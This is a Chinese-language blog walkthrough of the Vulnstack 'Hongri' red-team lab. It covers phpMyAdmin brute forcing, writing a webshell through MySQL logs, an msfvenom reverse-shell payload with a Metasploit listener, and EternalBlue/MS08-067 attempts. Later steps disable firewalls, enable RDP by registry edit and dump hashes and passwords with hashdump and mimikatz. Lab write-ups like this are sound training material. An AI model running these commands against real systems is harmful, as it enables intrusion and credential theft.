红队ATK&CK|红日靶场Write-Up（附下载链接）

最新推荐文章于 2024-05-23 18:00:09 发布
最新推荐文章于 2024-05-23 18:00:09 发布
阅读量2.2k 收藏 21
点赞数 93
文章标签： web安全 网络安全 服务器 笔记 内网渗透 靶场
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_59468567/article/details/136132297
版权

网络拓扑图

在这里插入图片描述

下载地址

在线下载：

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

百度网盘

链接：https://pan.baidu.com/s/1nlAZAuvni3EefAy1SGiA-Q?pwd=h1e5
提取码：h1e5

环境搭建

通过上述图片，web服务器vm1既能用于外界访问，又能保证内网（vm2、vm3）访问，所以准备一张

仅主机网卡，然后将网段配置为：192.168.52.0段(虚拟机内部用的52段)

靶场 密码hongrisec@2019

web服务器（Windows7）

  • NAT模式：192.168.134.135
  • VMnet1：192.168.52.143

域控服务器（Windows server 2008）

  • VMnet1：192.168.52.138

域成员主机（Windows server 2003）

  • VMnet1：192.168.52.141

在这里插入图片描述

安装靶场

VM1 —web服务器（Windows7）

  • NAT模式：192.168.134.135
  • VMnet1：192.168.52.143

VM3—域控服务器（Windows server 2008）

  • VMnet1：192.168.52.138

VM—2域成员主机（Windows server 2003）

  • VMnet1：192.168.52.141

在虚拟机中安装win7、winserver08 、winserver03 同样的步骤，如下图

在这里插入图片描述

win7 要配置两张网卡，一张用于外部访问，一张用于和内网进行通讯

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

win7ping2003

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

信息收集

史上最全的信息收集总结！！！_信息搜集-CSDN博客

信息收集的分类
服务器的相关信息（真实ip，系统类型，版本，开放端口，WAF等）

网站指纹识别（包括，cms，cdn，证书等） dns记录

whois信息，姓名，备案，邮箱，电话反查（邮箱丢社工库，社工准备等）

子域名收集，旁站，C段等

google hacking针对化搜索，word/电子表格/pdf文件，中间件版本，弱口令扫描等

扫描网站目录结构，爆后台，网站banner，测试文件，备份等敏感文件泄漏等

传输协议，通用漏洞，exp，github源码

靶机的ip

192.168.52.143

在这里插入图片描述

收集指纹信息

php探针

在这里插入图片描述

Wappalyzer

在这里插入图片描述

whatweb
whatweb [http://192.168.52.143](http://192.168.52.143)

在这里插入图片描述

目录扫描

dirsearch

在这里插入图片描述

结果：

扫出跳转的路径

[http://192.168.52.143/phpmyadmin/](http://192.168.52.143/phpmyadmin/)

进入后台登录页面

在这里插入图片描述

知道使用的phpMyAdmin管理，就去找这个平台的漏洞

phpMyAdmin(mysql)常见的写shell方法及版本漏洞汇总_phpmyadmin漏洞-CSDN博客

御剑（Windows端）

在这里插入图片描述

结果：

扫描到备份文件

在这里插入图片描述

phpinfo（）

在这里插入图片描述

存在目录泄露漏洞

在这里插入图片描述

使用burp进行口令爆破

打开burp的代理拦截，打开火狐的本地代理

在这里插入图片描述

在这里插入图片描述

获取到请求

在这里插入图片描述

找到密码位和账号位

在拦截的请求页面，右键点击 send to intruder

在这里插入图片描述

对需要处理的参数（账号，密码）做变量处理

在这里插入图片描述

这里补充一点：

爆破的4种类型（Cluster bomb为最常用）：
1、Sniper:对变量进行依次破解，只有一个字典
2、Battering ran:对变量进行同时破解，用户名和密码相同，只有一个字典
3、pitch fork:每个变量将会对应一个字典，用户名和密码一一对应，两个字典
4、Cluster bomb:每个变量将会对应一个字典,并且交集破解尝试每一个组合，每个用户和每个密码进行匹配，两个字典
————————————————

参数做变量之后，页面点击payloads，针对第1、2个变量设置

设置第1个变量

在这里插入图片描述

设置第二个变量

在这里插入图片描述

最后一步，我们就可以点击右上角的“Start attack”了，这样Burpsuite就会自动发送payload构成的多个数据

在这里插入图片描述

可以发现root的组合长度是和其他的不一样，所以账号密码都是root

进入后台服务器数据库管理页面

在这里插入图片描述

进行信息收集

在‘已知开源平台的时候，第一件事一定是去百度该平台的漏洞，然后再去获得该平台的版本，为自己提供渗透思路

这里可以在服务器执行SQL查询，可以通过查询日志来搞一搞日志的一句话木马

在这里插入图片描述

查看关键字段

在这里插入图片描述

这里有一个开源的平台的数据库，可以看看漏洞

在这里插入图片描述

在这里插入图片描述

YxCMS 1.4.7 最新版漏洞分析-CSDN博客

搞到账号和密码的md5

在这里插入图片描述

这里有一个查询窗口，可以SQL注入搞一搞

在这里插入图片描述

查看phpMyAdmin版本
phpMyAdmin是有很多公开漏洞的，如果能知道phpMyAdmin的版本信息，直接在网上搜索相关版本的漏洞即可利用

获取phpmyadmin版本信息方法：

Documetation.html
Documetation.txt
translators.html
readme.php
README
changelog.php
Change
只要在phpmyadmin目录后面添加以上的文件，逐个尝试就可以看到phpmyadmin的相关版本信息了（前提是管理员没有把记录版本信息的文件删除掉）

在这里插入图片描述

开始getshell

第一种，使用查询框来搞一句话木马

因为我们知道探针路径C:\phpStudy\WWW\l.php，所以尝试文件添加木马

在这里插入图片描述

这这里发现做了限制，所以不能通过修改探针来实现一句话木马

在这里插入图片描述

第二种，尝试使用into_outfile读写文件

1.漏洞简介

into outfile 语句用于把表数据导出到一个文本文件中，要想mysql用户对文件进行导入导出，首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT …OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出；

当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下；

当secure_file_priv的值没有具体值时，表示不对mysqld 的导入|导出做限制。

条件1)要有file_priv权限2)知道网站绝对路径3)要能用union4)对web目录有写权限5)没有过滤单引号

在这里插入图片描述

在这里插入图片描述

发现也做了限制

第三种 尝试使用日志的方式写入

条件：

1、全局变量general_log=‘on’

(general_log指的是日志保存状态，off状态，那么日志就没有被记录进去,打开状态不管SQL语句是否正确，都会被记录进去)

general_log_file指的是日志保存路径，可以直接SQL语句修改，但必须是以能解析的一种后缀名，比如PHP，否则小马不会被解析

2、secure_file_priv为空，即secure_file_priv=“”

（设置只能通过设置my.ini来配置）

当secure_file_priv为空，就可以写入磁盘的目录。

当secure file _priv为G:\，就可以写入G盘的文件。

当secure file priv为null,into outfile就不能写入文件。(注意NULL不是我们要的空，NULL和

空的类型不一样))

3、有写的权限

4、知道物理路径这样才能写对目录

首先修改全局变量general_log

在这里插入图片描述

然后进行查询注入

在这里插入图片描述

显示查询成功，那么stu1.php肯定就在之前那个路径下生成了

在这里插入图片描述

生成后门成功

使用蚁剑连接

在这里插入图片描述

在这里插入图片描述

这里看一下cms的源文件

在这里插入图片描述

发现有一个index.php

通过路径访问该页面

在这里插入图片描述

试着找一下这个页面的漏洞

目录扫描

用御剑扫描扫出来的结果

在这里插入图片描述

结果：发现index of 目录索引漏洞

在这里插入图片描述

使用指纹识别wappalyzer

在这里插入图片描述

可以得到中间建信息

使用kali的whatweb

在这里插入图片描述

可以得到

Apache[2.4.23]

Country[RESERVED][ZZ]

Email[8888888@qq.com],

HTML5,

HTTPServer[Windows (32 bit)]

[Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45]

IP[192.168.52.143], JQuery, OpenSSL[1.0.2j]

PHP[5.4.45],

Script[text/javascript]

Title[Yxcms建站系统演示站]

UncommonHeaders[centent-type]

X-Powered-By[PHP/5.4.45]

可以找到一堆相应中间件的漏洞poc

前面通过蚁剑连接后的权限打开终端

在这里插入图片描述

关闭防火墙

netsh advfirewall set allprofile state off
netsh advfirewall show allprofile state

在这里插入图片描述

然后进入kali生成木马

在这里插入图片描述

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.134 LPORT=5555 -a x86 --platform Windows -f exe > shell1.exe

使用蚁剑上传文件

在这里插入图片描述

在这里插入图片描述

关闭防火墙

在这里插入图片描述

进入kali的msf，开启监听模块

在这里插入图片描述

在这里插入图片描述

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.208.134

然后run

在蚁剑里打开木马

在这里插入图片描述

然后获取到materpreter

在这里插入图片描述

进行提权

在这里插入图片描述

进入shell

在这里插入图片描述

开始内网信息收集

判断是否是域控主机

在这里插入图片描述

发现不是

查看ip

在这里插入图片描述

发现域：DNS Suffix Search List. . . . . . : god.org

解析域名ip

在这里插入图片描述

找到dc服务器

在这里插入图片描述

和本机在同一网段里。

这里也能看出处于同一个域

在这里插入图片描述

查询域

net view /domain

在这里插入图片描述

查询域内主机

在这里插入图片描述

目前已经确定到DNS IP

这里补充一下如何确定域控服务器

判断是否是域内主机_如何确定windows机器是否是域控-CSDN博客

了解本机信息后，就要判断当前内网中是否存在域。

查看网关IP地址、DNS的ip地址、域名、本机是否和DNS服务器处于同一网段等信息。

nslookup解析 域名的IP地址，查看是否与DNS服务器在同一IP上。

Windows 判断是否存在域,搜集域内基本信息,查看域控制器_判断win是否在域内命令-CSDN博客

添加路由

获取内网信息

run get_local_subnets

在这里插入图片描述

添加路由

run post/multi/manage/autoroute

在这里插入图片描述

然后就可以扫描内网主机

在这里插入图片描述

138和141是内网存活的主机

扫描内网主机的端口

先代理

在这里插入图片描述

search socks_proxy
vim /etc/proxychains4.conf

在这里插入图片描述

nmap扫描端口

在这里插入图片描述

发现smb445端口

尝试使用永恒之蓝

在这里插入图片描述

通过这两个工具，其中
0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码，一般两者配合使用，前者先扫描，若是显示有漏洞，再进行攻击。

1是远程代码执行攻击

2是远程命令执行攻击
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块，探测主机是否存在MS17-010漏洞。

使用0结果拿不到shell

在这里插入图片描述

使用3也是能探测到漏洞

在这里插入图片描述

尝试使用ms08_067

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放

的SMB服务端口445

use exploit/windows/smb/ms08_067_netapi

在这里插入图片描述

还是拿不到meterpreter

在这里插入图片描述

尝试使用ms17_010_psexec（远程代码执行）

这个要利用管道，但是由于不知道哪些管道可以利用，所以要去做管道的信息收集

扫描管道

use auxiliary/scanner/smb/pipe_auditor

在这里插入图片描述

获取到可用的管道信息

\netlogon, \lsarpc, \samr, \browser, \epmapper, \srvsvc, \trkwks, \wkssvc

使用ms17_010_psexec

use exploit/windows/smb/ms17_010_psexec

在这里插入图片描述

在这里插入图片描述

还是拿不到权限

在这里插入图片描述

所以要换一个主机尝试

ms17_010_command（远程代码执行）

use ms17_010_command

在这里插入图片描述

查询成功，说明可以成功执行远程代码

在这里插入图片描述

关闭防火墙

set COMMAND netsh advfirewall set allprofiles state off

在这里插入图片描述

开启3389端口

启用远程桌面协议：

set COMMAND 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'


禁用远程桌面协议：reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 1 /f

在这里插入图片描述

我们要去获取域控的密码

使用hashdump

run post/windows/gather/smart_hashdump

在这里插入图片描述

获取到密文

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

在这里插入图片描述

版本原因看不到，尝试minikataz获取明文密码

在这里插入图片描述

获取到明文密码

在这里插入图片描述

Administrator

hongrisec@2019

开启远程桌面

proxychains4 rdesktop 192.168.52.138:3389

在这里插入图片描述

Pluto－2003
关注
  • 93
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
原子红队：基于MITRE的ATT＆CK的小型且高度便携式的检测测试
02-12
原子红队 原子红队允许每个安全团队通过执行简单的“原子测试”来测试其控件，这些“原子测试”使用与对手所使用的技术相同的技术（均映射到 ）。 哲学 Atomic Red Team是一个简单测试库，每个安全团队都可以执行这些测试来测试其控件。 测试专注于测试，几乎没有依赖项，并且以结构化格式定义，可以由自动化框架使用。 原子力红队宪章的三个主要信念： 团队需要能够测试从特定技术控制到结果的所有内容。 我们的安全团队不希望对侦查抱有“希望和祈祷”的态度。 我们需要知道我们的控件和程序可以检测到什么，以及它不能检测到什么。 我们不必检测每个对手，但我们确实相信了解我们的盲点。 我们应该能够在不到五分钟的时间内进行测试。 大多数安全测试和自动化工具需要花费大量时间来安装，配置和执行。 我们创造了“原子测试”一词，是因为我们认为有一种简单的方法可以分解测试，因此大多数可以在几分钟内运行。 最
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
05-27
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
记ATT&CK实战系列-红队实战（二） 红日靶场
shulao2010的博客
05-21 665
如何通过一个简单的web漏洞，打开通往内网的大门
ATK&CK红队评估靶场 (二)
m0_58177121的博客
08-21 558
相关环境配置 WEB服务器：Windows server 2008 NAT模式+仅主机模式（需要以用户de1aly登录，本地登录时账户administrator没有密码，需要重新创建密码1qaz@WSX） WEB机的C:\Oracle\Middleware\user_projects\domains\base_domain\bin下有一个startWeblogic的批处理，管理员身份运行它即可，管理员账号密码：Administrator/1qaz@WSX WEB机和PC机：计算机右键->管理-&
ATT&CK红队评估实战靶场-1(全网最细)
lwwzyy
12-20 3628
声明：该系列文章首发于公众号：纁玄安全，转载请注明出处！本公众号所分享内容仅用于网安爱好者之间的技术讨论，所有渗透及工具的使用都需获取授权，禁止用于违法途径，否则需自行承担，本公众号及作者不承担相应的后果。 ATT&CK红队评估实战靶场-1 目录： 1. 环境配置 插播一点网络配置的姿势 2. 实战 2.1 信息收集 2.2 web站点探测 2.3 getshell 3 漏洞 3.1 目录遍历漏洞 3.2 存储型XSS 4. ..
goby红队&社区版-win-64-2.4.7
11-27
包含goby红队版和社区版
ATT&CK.红队战术漫谈.pdf
09-09
ATT&CK.红队战术漫谈
Goby红队版-win-x64-2.4.7版本
07-27
Goby红队专版:集成1500个poc和exp ，覆盖普通版本所有功能，开箱即用 使用方式: 解压后双击goby.exe运行即可 注意事项: 最新的漏洞不可以在线更新，可自行添加poc和exp 重要的事情说三遍 不要用于非法或未授权...
HCIP-Datacom-ARST自选题库_02_网络安全【道题】
2301_80961833的博客
05-20 701
为了防止黑客通过MAC地址攻击用户设备或网络，可将非信任用户的MAC地址配置为黑洞MAC地址，过滤掉非法MAC地址。中间人攻击或IP/MAC Spoofing攻击都会导致信息泄露等危害，且在内网中比较常见，为了防止中间人攻击或IP/MACSpoofing攻击，可以采取以下哪些配置手段?多远题461/805、为了防止仿冒DHCP服务器接入网络，可以在交换机上开启DHCP Snooping功能，配置步骤包括以下哪些选项?开启DHCP Snooping检查DHCP REQUEST报文中CHADDR字段的功能。
第4天 网络安全_系统及数据库基础
最新发布
weixin_47830774的博客
05-23 154
再看下面这个 发现把p改为大写之后 网站就访问不了了(说明是一台linux服务器)把p改为大写的P 网站依旧可以访问(说明这是一台windows服务器)发现TTL = 52 是一台linux服务器(这个方法很不准确)2.如果只给你IP地址 怎么识别?windows:不区分大小写。1.通过网站url来识别(linux:区分大小写。1.如何识别数据库类型。
重大活动网络安全保障建设及运营指南
2301_76786857的博客
05-20 419
以实现重大活动网络安全“零事故”为目标，从重大活动的事前、事中、事后提供全方面、针对性的安全服务，帮助相关单位有效开展安全工作，顺利完成保障任务。对涉及到的关键基础设施和重要网络设施等相关系统进行梳理，通过漏洞扫描、渗透测试等方式全面开展风险评估与自查整改工作，并基于评估结果部署相应的安全技术和设备。利用安全防护设备进行全流量监测和关联分析，准确甄别失陷事件，锁定攻击者并第一时间进行阻断，对攻击事件进行研判分析及验证，评估事件是否具有针对性、共性、以及是否可能引发全局性同步网络攻击等。
CTF网络安全大赛简单web题目：eval
Pythonit教程网
05-17 946
（错误控制运算符）等可能引发安全问题的函数。这个PHP脚本有几个关键部分，但首先，它是不安全的，因为使用了。红客网：blog.hongkewang.cn。只需要在web的url后面加上参数“题目来源于：bugku。一道简单web的题目。
CTF网络安全大赛简单的web抓包题目：HEADache
Pythonit教程网
05-20 450
题目 描　　述: > Wanna learn about some types of headache?红客网：blog.hongkewang.cn。”，就能获取到flag，完成题目了。直接在抓包到的页面添加请求头“题目来源于：bugku。
网络安全（黑客）—-2024自学手册
xv7676的博客
05-18 1243
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web 安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
出海战略中的网络技术应用：SOCKS5代理、代理IP与网络安全
Together_GPT的博客
05-23 328
在全球市场中，SOCKS5代理、代理IP以及全面的网络安全措施，是跨界电商和游戏行业企业实现成功出海的关键技术支柱。通过结合使用加密技术，如SSL/TLS，SOCKS5代理能够为数据传输提供一个安全的隧道，进一步增强数据的保密性和完整性。游戏企业则可以减少游戏延迟，提升玩家的游戏体验。同时，企业还可以根据不同地区的文化和语言特点，定制化地推送内容，提升用户的参与度和满意度。利用SOCKS5代理和代理IP虽然可以在一定程度上增强安全性和隐私保护，但还需要更多的措施来构建全面的网络安全体系。
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8237
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
银河麒麟服务器系统xshell连接之后主动断开，报错socket error event：32 Error：10053问题分析
weixin_45754407的博客
05-23 347
银河麒麟服务器系统xshell连接之后主动断开，报错socket error event：32 Error：10053问题分析
【Xshell】Xshell 连接 Linux 服务器教程
我梦
05-20 507
【Xshell】Xshell 连接 Linux 服务器教程
ATT\\\\&CK红队评估实战靶场四
08-16
ATT&CK红队评估实战靶场四是一个实战训练场景，其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的红日靶场一类似，你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时，可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表，并使用routeadd命令添加相应的路由。此外，可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK红队评估（红日靶场四）](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK红队评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pluto－2003

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值